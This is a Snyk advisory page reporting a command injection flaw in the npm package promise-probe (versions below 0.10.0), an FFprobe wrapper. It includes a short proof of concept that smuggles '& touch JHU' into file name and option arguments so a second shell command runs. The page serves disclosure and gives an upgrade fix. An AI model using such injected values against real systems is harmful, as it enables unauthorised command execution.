promise-probe@0.1.3 vulnerabilities

FFprobe wrapper

Direct Vulnerabilities

Known vulnerabilities in the promise-probe package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Command Injection

promise-probe is a FFprobe wrapper.

Affected versions of this package are vulnerable to Command Injection via the ffprobe(file) and createMuteOgg(outputFile, options) functions. file,outputFile,options can be controlled by users without any sanitization

PoC by JHU System Security Lab

var root = require("promise-probe");

root.ffprobe("& touch JHU");

root.createMuteOgg("123",{seconds:"& touch JHU &"});

root.createMuteOgg("& touch JHU",{});

How to fix Command Injection?

Upgrade promise-probe to version 0.10.0 or higher.

<0.10.0